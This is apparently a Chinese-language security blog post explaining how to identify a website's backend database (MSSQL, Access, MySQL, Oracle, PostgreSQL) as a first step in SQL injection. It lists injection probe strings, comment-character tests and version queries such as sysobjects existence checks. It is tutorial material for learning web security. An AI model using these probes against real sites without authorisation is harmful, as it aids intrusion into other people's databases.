SQL注入-数据库类型判断

Posted 2021-03-31 XG小刚

一位苦于信息安全的萌新小白帽

本实验仅用于信息防御教学，切勿用于它用途

公众号：XG小刚

 前言 

---

为啥判断数据库

在sql注入之前，先得学会判断web后面是个啥子数据库，这样才能对症下毒，更容易实现sql注入
判断数据库类型，主要是通过各数据库特有的函数，字符串处理，注释等来排除、猜测数据库的类型。

常见的数据库 

Oracle、mysql、SQL Server、Access、MSsql、Postgresql，mongodb等

 

 前端与数据库类型 

asp:sql server,Access
.net :sql server
php:PostgreSQL,Mysql
java:Oracle,Mysql

 常用web和数据库构造 

Asp+access或sql server
PHP+Mysql

 各数据库标志性信息 

sql server：select@@version --
Oracle :select banner from v$version
mysql：select @@version，version() -- ，length(user)>0正常

postgresql:select version() --

 各数据库特有的函数 

sql server: @@pack_received @@rowcount
mysql:connection_id() last_insert_id() row_count()
orcale:bitand(1,1)
postgresql: select extract(dow from now())

 对于字符串处理方式 

sql server ：id=1 and 'a'+'b'='ab' --
mssql:id=1 and 'a'+'b'='ab'
mysql:id=1 and 'a'+'b'='ab' ， 'ab'=concat('a','b')
oracle:id=1 and 'a'+'b'='a'||'b' ，'ab'=concat('a','b')
postgresql :id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')

 特殊符号，注释的判断 

---

按顺序来

1.。null”和“%00”是Access支持的注释。
2.。#”是MySQL中的注释符，返回错误说明该注入点可能不是MySQL，另外也支持’-- ',和/* */注释（注意mysql使用-- 时需要后面添加空格）
3.。“–”和/* */是Oracle，SQL server和MSSQL支持的注释符，如果正常，说明可能就是这仨了。
4.。“;”是子句查询标识符，在Oracle中不支持多行查询，返回错误，很可能是Oracle数据库。

这样一串下来，基本就知道了数据库类型了

对Mssql和access数据库的判断：

’ and exists (select count(*) from sysobjects) >0正常，就是MSSQL数据库

’ and exists (select count(*) from msysobjects) >0两条都不正常，是Access数据库

通过上面各种判断方法，各种主流数据库基本就能判断出来了。判断好数据库类型后，在结合前面说的sql注入方法，基本就那啥了。